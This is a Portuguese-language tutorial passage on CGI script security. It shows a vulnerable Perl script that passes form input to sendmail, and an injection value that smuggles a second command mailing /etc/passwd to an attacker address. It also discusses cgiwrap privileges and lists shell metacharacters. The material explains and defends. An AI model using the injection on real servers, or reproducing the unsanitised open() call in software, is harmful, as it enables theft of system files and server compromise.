Existem basicamente duas maneiras de um script CGI apresentar falhas de segurança:
Veja o script Perl abaixo que manda uma mail para um endereço preenchido em um formulário:
$mail_to = &get_name_from_input; # read the address from form open (MAIL,"| /usr/lib/sendmail $mail_to"); print MAIL "To: $mailto\nFrom: me\n\nHi there!\n"; close MAIL;
O problema é a chamada a open(). O autor do script assumiu que o valor da variável $mail será sempre um inocente e-mail. Mas o que acontecerá caso o usuário passe um e-mail como
nobody@nowhere.com;mail badguys@hell.org</etc/passwd;
Agora a chamada a open() irá executar
/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwd
e enviará o arquivo de senhas do sistema para um hacker em potencial.
Os scripts CGI normalmente executam com permissão de "nobody". Nessa circunstância fica difícil para os administradores do sistema determinarem quais scripts estão agindo indevidamente, enviando mails inúteis, por exemplo, ou enviando mensagens para a tela de um usuário. Há também a possibilidade de alguns programas interferirem (intencionalmente ou não) em dados mantidos por outros scripts.
O pacote cgiwrap permite fazer com que cada script execute com o ID do seu criador. Embora facilite a administração do servidor e impeça que os scripts interfiram uns nos outros, essa política apresenta um grande perigo para o usuário. Um furo de segurança em um de seus scripts pode permitir a um hacker apagar todo o diretório do usuário ou mesmo inserir um cavalo de Tróia em seu diretório. Isso era evitado anteriormente porque o usuário "nobody" não tem permissão de escrita em lugar nenhum.
?~<>^()[]{}$\n\r